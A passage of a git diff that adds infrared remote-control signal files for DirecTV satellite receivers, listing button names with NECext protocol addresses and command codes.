00 00 +command: 25 00 00 00 +# +name: CURSOR_SELECT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 25 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 25 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 25 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 26 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 27 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 28 00 00 00 +# +name: ACTIVE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 29 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2A 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2E 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 30 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 31 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 31 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 32 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 33 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 33 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 33 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 34 00 00 00 +# +name: FFORWARD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 34 00 00 00 +# +name: FFWD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 34 00 00 00 +# +name: FORWARD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 34 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 34 00 00 00 +# +name: R +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 35 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 35 00 00 00 +# +name: REPLAY +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 36 00 00 00 +# +name: ADVANCE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 36 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 36 00 00 00 +# +name: JUMP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 37 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 37 00 00 00 +# +name: ADVANCE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 37 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 37 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 41 00 00 00 +# +name: COLOR-RED +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 41 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 42 00 00 00 +# +name: COLOR-YELLOW +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 42 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 43 00 00 00 +# +name: COLOR-GREEN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 43 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 44 00 00 00 +# +name: COLOR-BLUE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 44 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 59 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 5B 00 00 00 +# +name: TV_INPUT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 5B 00 00 00 +# +name: TV_POWER_OFF +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 5B 00 00 00 +# +name: TV_POWER_ON +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 5B 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 5B 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 5B 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 5B 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 5B 00 00 00 +# +name: FORMAT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 73 00 00 00 +# +name: DISCRETE_ON +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 80 00 00 00 +# +name: DISCRETE_OFF +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 81 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Satellite/133,48.ir b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Satellite/133,48.ir new file mode 100644 index 000000000..58fc688c5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Satellite/133,48.ir @@ -0,0 +1,284 @@ +Filetype: IR signals file +Version: 1 +# +name: DIRECTV +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 0F 00 00 00 +# +name: LIVE_TV +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 11 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 13 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 14 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 14 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 15 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 15 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 16 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 16 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 17 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 17 00 00 00 +# +name: THUMBS_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 18 00 00 00 +# +name: THUMBS_DN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 18 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 19 00 00 00 +# +name: THUMBS_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1A 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1B 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1F 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 20 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 21 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 22 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 22 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 23 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 24 00 00 00 +# +name: FWD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 24 00 00 00 +# +name: SLOW +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 25 00 00 00 +# +name: INSTANT_REPLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 26 00 00 00 +# +name: REPLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 26 00 00 00 +# +name: SKIP_(-) +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 27 00 00 00 +# +name: SKIP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 27 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 28 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 29 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2A 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2B 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2C 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2D 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2E 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2F 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 30 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 31 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 32 00 00 00 +# +name: ENTER/LAST +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 33 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 36 00 00 00 +# +name: RATIO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 44 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 45 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 46 00 00 00 +# +name: PLAY_LIST +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 46 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Satellite/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Satellite/4,-1.ir new file mode 100644 index 000000000..0f1247f3b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Satellite/4,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown/12,-1.ir b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown/12,-1.ir new file mode 100644 index 000000000..30f64692d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown/12,-1.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: DISCRETE_ON +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 80 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 80 00 00 00 +# +name: DISCRETE_OFF +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 81 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 81 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown/12,251.ir b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown/12,251.ir new file mode 100644 index 000000000..a41bbe3c9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown/12,251.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 73 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 74 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown_G051204/12,-1.ir b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown_G051204/12,-1.ir new file mode 100644 index 000000000..3d29bf73a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown_G051204/12,-1.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 09 00 00 00 +# +name: Chan+ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0D 00 00 00 +# +name: Chan- +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0E 00 00 00 +# +name: Previous +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0F 00 00 00 +# +name: Power +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 11 00 00 00 +# +name: Dash +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 12 00 00 00 +# +name: Enter +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 13 00 00 00 +# +name: Menu +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 20 00 00 00 +# +name: Up +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 21 00 00 00 +# +name: Down +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 22 00 00 00 +# +name: Left +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 23 00 00 00 +# +name: Right +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 24 00 00 00 +# +name: Select +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 25 00 00 00 +# +name: Exit +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 26 00 00 00 +# +name: Back +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 27 00 00 00 +# +name: Guide +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 28 00 00 00 +# +name: Active +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 29 00 00 00 +# +name: List +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2A 00 00 00 +# +name: Info +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2E 00 00 00 +# +name: Play +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 30 00 00 00 +# +name: Stop +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 31 00 00 00 +# +name: Pause +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 32 00 00 00 +# +name: Rewind +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 33 00 00 00 +# +name: Forward +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 34 00 00 00 +# +name: Record +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 35 00 00 00 +# +name: Replay +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 36 00 00 00 +# +name: Skip +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 37 00 00 00 +# +name: Red +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 41 00 00 00 +# +name: Yellow +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 42 00 00 00 +# +name: Green +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 43 00 00 00 +# +name: Blue +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 44 00 00 00 +# +name: On +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 80 00 00 00 +# +name: Off +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 81 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown_H23/12,-1.ir b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown_H23/12,-1.ir new file mode 100644 index 000000000..314c5f78f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown_H23/12,-1.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 09 00 00 00 +# +name: chanUp +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0D 00 00 00 +# +name: chanDown +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0E 00 00 00 +# +name: prev +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 11 00 00 00 +# +name: dash +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 12 00 00 00 +# +name: enter +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 13 00 00 00 +# +name: menu +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 20 00 00 00 +# +name: up +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 21 00 00 00 +# +name: down +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 22 00 00 00 +# +name: left +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 23 00 00 00 +# +name: right +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 24 00 00 00 +# +name: select +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 25 00 00 00 +# +name: exit +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 26 00 00 00 +# +name: back +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 27 00 00 00 +# +name: guide +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 28 00 00 00 +# +name: active +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 29 00 00 00 +# +name: list +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2A 00 00 00 +# +name: info +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2E 00 00 00 +# +name: red +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 41 00 00 00 +# +name: yellow +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 42 00 00 00 +# +name: green +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 43 00 00 00 +# +name: blue +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 44 00 00 00 +# +name: mute +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 59 00 00 00 +# +name: volUp +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 59 00 00 00 +# +name: volDown +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 59 00 00 00 +# +name: on +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 80 00 00 00 +# +name: off +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 81 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown_HD20-100/12,-1.ir b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown_HD20-100/12,-1.ir new file mode 100644 index 000000000..77b8d40db --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown_HD20-100/12,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 09 00 00 00 +# +name: ch+ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0D 00 00 00 +# +name: ch- +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0E 00 00 00 +# +name: last +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 11 00 00 00 +# +name: dash +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 12 00 00 00 +# +name: up +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 21 00 00 00 +# +name: down +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 22 00 00 00 +# +name: left +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 23 00 00 00 +# +name: right +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 24 00 00 00 +# +name: select +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 25 00 00 00 +# +name: exit +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 26 00 00 00 +# +name: back +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 27 00 00 00 +# +name: guide +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 28 00 00 00 +# +name: action +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 29 00 00 00 +# +name: list +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2A 00 00 00 +# +name: info +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2E 00 00 00 +# +name: power +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 80 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown_RC16/12,-1.ir b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown_RC16/12,-1.ir new file mode 100644 index 000000000..d0f0d8c0b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown_RC16/12,-1.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: one +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 01 00 00 00 +# +name: two +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 02 00 00 00 +# +name: three +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 03 00 00 00 +# +name: four +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 04 00 00 00 +# +name: five +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 05 00 00 00 +# +name: six +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 06 00 00 00 +# +name: seven +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 07 00 00 00 +# +name: eight +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 08 00 00 00 +# +name: nine +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 09 00 00 00 +# +name: chan_up +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0D 00 00 00 +# +name: chan_down +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0E 00 00 00 +# +name: prev +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0F 00 00 00 +# +name: power +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 10 00 00 00 +# +name: zero +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 11 00 00 00 +# +name: dash +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 12 00 00 00 +# +name: enter +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 13 00 00 00 +# +name: menu +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 20 00 00 00 +# +name: up_arrow +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 21 00 00 00 +# +name: down_arrow +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 22 00 00 00 +# +name: left_arrow +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 23 00 00 00 +# +name: right_arrow +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 24 00 00 00 +# +name: select +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 25 00 00 00 +# +name: exit +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 26 00 00 00 +# +name: back +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 27 00 00 00 +# +name: guide +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 28 00 00 00 +# +name: active +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 29 00 00 00 +# +name: list +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2A 00 00 00 +# +name: info +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2E 00 00 00 +# +name: play +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 30 00 00 00 +# +name: stop +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 31 00 00 00 +# +name: pause +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 32 00 00 00 +# +name: rewind +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 33 00 00 00 +# +name: ffwd +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 34 00 00 00 +# +name: record +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 35 00 00 00 +# +name: chapt_prev +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 36 00 00 00 +# +name: chapt_next +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 37 00 00 00 +# +name: red +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 41 00 00 00 +# +name: yellow +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 42 00 00 00 +# +name: green +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 43 00 00 00 +# +name: blue +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 44 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown_RC32/12,-1.ir b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown_RC32/12,-1.ir new file mode 100644 index 000000000..8bdb465d0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown_RC32/12,-1.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 09 00 00 00 +# +name: ch+ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0D 00 00 00 +# +name: ch- +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0E 00 00 00 +# +name: previous +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 11 00 00 00 +# +name: menu +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 20 00 00 00 +# +name: up +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 21 00 00 00 +# +name: down +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 22 00 00 00 +# +name: left +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 23 00 00 00 +# +name: right +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 24 00 00 00 +# +name: enter +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 25 00 00 00 +# +name: exit +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 26 00 00 00 +# +name: back +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 27 00 00 00 +# +name: guide +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 28 00 00 00 +# +name: info +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2E 00 00 00 +# +name: play +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 30 00 00 00 +# +name: stop +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 31 00 00 00 +# +name: pause +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 32 00 00 00 +# +name: skip- +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 33 00 00 00 +# +name: skip+ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 34 00 00 00 +# +name: record +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 35 00 00 00 +# +name: red +type: parsed +protocol: NECext +address: 0C 00 00 